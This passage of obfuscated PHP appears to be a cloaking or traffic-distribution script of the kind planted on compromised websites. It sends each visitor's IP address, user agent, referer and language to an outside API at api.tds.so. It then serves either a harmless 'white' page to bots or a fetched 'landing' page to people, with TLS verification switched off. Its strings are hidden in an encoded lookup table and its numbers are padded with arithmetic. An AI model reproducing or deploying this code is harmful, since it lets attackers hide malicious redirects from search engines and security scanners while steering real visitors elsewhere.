", "/(]+>)/", "", "/(]+>)/", "", "", "", ".", "", ":", "", "/", "", ":", "", "@", "", "https", "", "http", "", "www", "", "HTTP_CF_CONNECTING_IP", "HTTP_CF_CONNECTING_IP", "HTTP_CLIENT_IP", "HTTP_CLIENT_IP", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR", ", ", ",", "REMOTE_ADDR", "REMOTE_ADDR", "127.0.0.1", "", "cf-", "transfer-encoding", "scheme", "://", "host", "path", "/", "path", "path", "/", "scheme", "://", "host", "/", "#((href|src|action)\\s*=\\s*['\"])(/)#iu", "#((href|src|action)\\s*=\\s*['\"])([^\\#:] [^:]*?['\"])#iu", "/background-image:\\s*url\\((?!http|#|\\/\\/)([^\\)]+)\\)/", ">", ">", "http", "HTTPS", "HTTPS", "on", "https", "HTTP_X_FORWARDED_PROTO", "HTTP_X_FORWARDED_PROTO", "https", "HTTP_X_FORWARDED_SSL", "HTTP_X_FORWARDED_SSL", "on", "https", "://", "HTTP_HOST", "/", "", "api.tds.so/make-api", "api.tds.so", "HTTP_USER_AGENT", "HTTP_USER_AGENT", "X-Forwarded-For:", "Forwarded-Host:", "HTTP_HOST", "Accept-Language:", "HTTP_ACCEPT_LANGUAGE", "HTTP_ACCEPT_LANGUAGE", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7", "HTTP_REFERER", "Referer: ", "HTTP_REFERER", "http://", "REQUEST_URI", "http://", "?api_data=/", "REQUEST_URI", "header_size", "bot_curl_redirect_page:", "bot_curl_redirect_page:", "", "people_curl_redirect_page:", "people_curl_redirect_page:", "", "people_landing_page:", "people_landing_page:", "", "landing", "", "/", "landing", "/", "landing", "bot_landing_page:", "bot_landing_page:", "", "white", "", "/", "white", "/", "white", ]; return $a[$i]; } function l__0($_0, $_1, $_2, $_3 = false) { $_4 = __DIR__ . _1969666169(2) . l__1($_0) . _1969666169(3); if (file_exists($_4) && (filemtime($_4) > (time() - round(0 + 30 + 30) * round(0 + 1 + 1 + 1 + 1 + 1)))) { $_5 = file_get_contents($_4); } else { $_6 = curl_init(); $_7 = array(CURLOPT_URL => $_0, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array(_1969666169(4) . $_1, _1969666169(5) . $_1, _1969666169(6) . $_1, _1969666169(7) . $_1, _1969666169(8) . $_1, _1969666169(9) . $_1, _1969666169(10) . $_1, _1969666169(11) . $_1, _1969666169(12) . $_1)); $_7[CURLOPT_FOLLOWLOCATION] = true; $_7[CURLOPT_USERAGENT] = $_2; curl_setopt_array($_6, $_7); $_5 = curl_exec($_6); curl_close($_6); $_5 = l__5($_5, $_0, $_3); if ($_3) $_0 = l__7($_3); $_5 = l__6($_5, _1969666169(13), _1969666169(14) . $_0 . _1969666169(15)); $_5 = preg_replace(_1969666169(16), _1969666169(17), $_5); $_5 = preg_replace(_1969666169(18), _1969666169(19), $_5); $_5 = str_replace(_1969666169(20), _1969666169(21), $_5); file_put_contents($_4, $_5, LOCK_EX); } return $_5; } function l__1($_8) { $_8 = str_replace(_1969666169(22), _1969666169(23), str_replace(_1969666169(24), _1969666169(25), $_8)); $_8 = str_replace(_1969666169(26), _1969666169(27), $_8); $_8 = str_replace(_1969666169(28), _1969666169(29), $_8); $_8 = str_replace(_1969666169(30), _1969666169(31), $_8); $_8 = str_replace(_1969666169(32), _1969666169(33), $_8); $_8 = str_replace(_1969666169(34), _1969666169(35), $_8); $_8 = explode(_1969666169(36), _1969666169(37), $_8); return $_8; } function l__2() { if (!isset($_9)) { if (isset($_SERVER[_1969666169(38)])) $_9 = $_SERVER[_1969666169(39)]; } if (!isset($_9)) { if (!empty($_SERVER[_1969666169(40)])) { $_9 = $_SERVER[_1969666169(41)]; } } if (!isset($_9)) { if (isset($_SERVER[_1969666169(42)]) && !empty($_SERVER[_1969666169(43)])) { $_1 = $_SERVER[_1969666169(44)]; $_1 = explode(_1969666169(45), $_1); if (count($_1) <= round(0 + 1)) { $_1 = explode(_1969666169(46), $_1[round(0)]); } if (!empty($_1[round(0)])) { $_9 = $_1[round(0)]; } } } if (!isset($_9)) { if (isset($_SERVER[_1969666169(47)])) { $_9 = $_SERVER[_1969666169(48)]; } } if (empty($_9) || !l__3($_9)) $_9 = _1969666169(49); return $_9; } function l__3($_1) { if (filter_var($_1, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { return false; } return true; } function l__4($_10) { if (is_array($_10)) { foreach ($_10 as $_11) { if ($_11 != _1969666169(50) && !stristr(strtolower($_11), _1969666169(51)) && !stristr(strtolower($_11), _1969666169(52))) { header($_11, true); } } } } function l__5($_12, $_8, $_3 = false) { $_8 = parse_url($_8); $_13 = $_8[_1969666169(53)] . _1969666169(54) . $_8[_1969666169(55)] . (empty($_8[_1969666169(56)]) ? _1969666169(57) : substr($_8[_1969666169(58)], round(0), strrpos($_8[_1969666169(59)], _1969666169(60)) + round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2))); $_14 = $_8[_1969666169(61)] . _1969666169(62) . $_8[_1969666169(63)]; if ($_3) $_14 = $_14 . _1969666169(64) . $_3; $_12 = preg_replace(_1969666169(65), "$1{$_14}$3", $_12); $_12 = preg_replace(_1969666169(66), "$1{$_13}$3", $_12); $_12 = preg_replace(_1969666169(67), "background-image: url($_14\\1)", $_12); return $_12; } function l__6($_5, $_15, $_16) { $_17 = round(0); $_18 = array(); while (($_17 = strpos($_5, $_15, $_17)) !== false) { $_18[] = $_17; $_17 = $_17 + strlen($_15); } $_18 = array_reverse($_18); foreach ($_18 as $_19) { $_20 = $_19 + strlen($_15); if (strpos($_15, _1969666169(68)) === false) { while ($_5[$_20] !== _1969666169(69)) $_20++; $_20++; } $_5 = substr_replace($_5, $_16, $_20, round(0)); } return $_5; } function l__7($_21) { $_22 = _1969666169(70); if (isset($_SERVER[_1969666169(71)]) && $_SERVER[_1969666169(72)] == _1969666169(73)) { $_22 = _1969666169(74); } elseif (!empty($_SERVER[_1969666169(75)]) && $_SERVER[_1969666169(76)] == _1969666169(77) || !empty($_SERVER[_1969666169(78)]) && $_SERVER[_1969666169(79)] == _1969666169(80)) { $_22 = _1969666169(81); } return $_22 . _1969666169(82) . $_SERVER[_1969666169(83)] . _1969666169(84) . $_21 ?? _1969666169(85); } function init() { $_23 = [_1969666169(86)]; $_24 = _1969666169(87); $_1 = l__2(); $_2 = isset($_SERVER[_1969666169(88)]) ? $_SERVER[_1969666169(89)] : null; $_25 = curl_init(); $_11 = array(_1969666169(90) . $_1, _1969666169(91) . $_SERVER[_1969666169(92)], _1969666169(93) . isset($_SERVER[_1969666169(94)]) ? $_SERVER[_1969666169(95)] : _1969666169(96)); if (isset($_SERVER[_1969666169(97)])) { $_11[] = _1969666169(98) . $_SERVER[_1969666169(99)]; } curl_setopt($_25, CURLOPT_URL, _1969666169(100) . $_24 . $_SERVER[_1969666169(101)]); curl_setopt($_25, CURLOPT_USERAGENT, $_2); curl_setopt($_25, CURLOPT_HTTPHEADER, $_11); curl_setopt($_25, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($_25, CURLOPT_HEADER, round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)); curl_setopt($_25, CURLOPT_RETURNTRANSFER, true); curl_setopt($_25, CURLOPT_TIMEOUT_MS, round(0 + 1800 + 1800 + 1800 + 1800 + 1800)); $_26 = curl_exec($_25); if ($_26 === false) { for ($_27 = round(0); $_27 < count($_23); $_27++) { curl_setopt($_25, CURLOPT_URL, _1969666169(102) . $_23[$_27] . _1969666169(103) . $_SERVER[_1969666169(104)]); $_26 = curl_exec($_25); if ($_26 !== false) { break; } } } $_28 = curl_getinfo($_25); if (curl_errno($_25)) { $error_msg = curl_error($_25); } curl_close($_25); $_29 = $_28[_1969666169(105)]; $_11 = substr($_26, round(0), $_29); $_11 = explode(PHP_EOL, $_11); l__4($_11); global $_30; $_30 = $_11; $_31 = substr($_26, $_29); if (stristr($_31, _1969666169(106)) !== FALSE) { $_31 = l__0(str_replace(_1969666169(107), _1969666169(108), $_31), $_1, $_2); } if (stristr($_31, _1969666169(109)) !== FALSE) { $_31 = l__0(str_replace(_1969666169(110), _1969666169(111), $_31), $_1, $_2); } if (stristr($_31, _1969666169(112)) !== FALSE) { $_32 = str_replace(_1969666169(113), _1969666169(114), $_31); $_32 = str_replace(_1969666169(115), _1969666169(116), $_32); $_32 = ltrim($_32, _1969666169(117)); $_31 = l__0(l__7(_1969666169(118)) . _1969666169(119) . $_32, $_1, $_2, _1969666169(120)); } if (stristr($_31, _1969666169(121)) !== FALSE) { $_33 = str_replace(_1969666169(122), _1969666169(123), $_31); $_33 = str_replace(_1969666169(124), _1969666169(125), $_33); $_33 = ltrim($_33, _1969666169(126)); $_31 = l__0(l__7(_1969666169(127)) . _1969666169(128) . $_33, $_1, $_2, _1969666169(129)); } echo($_31); $_12 = ob_get_contents(); if (!empty($_12)) ob_end_clean(); echo $_12; }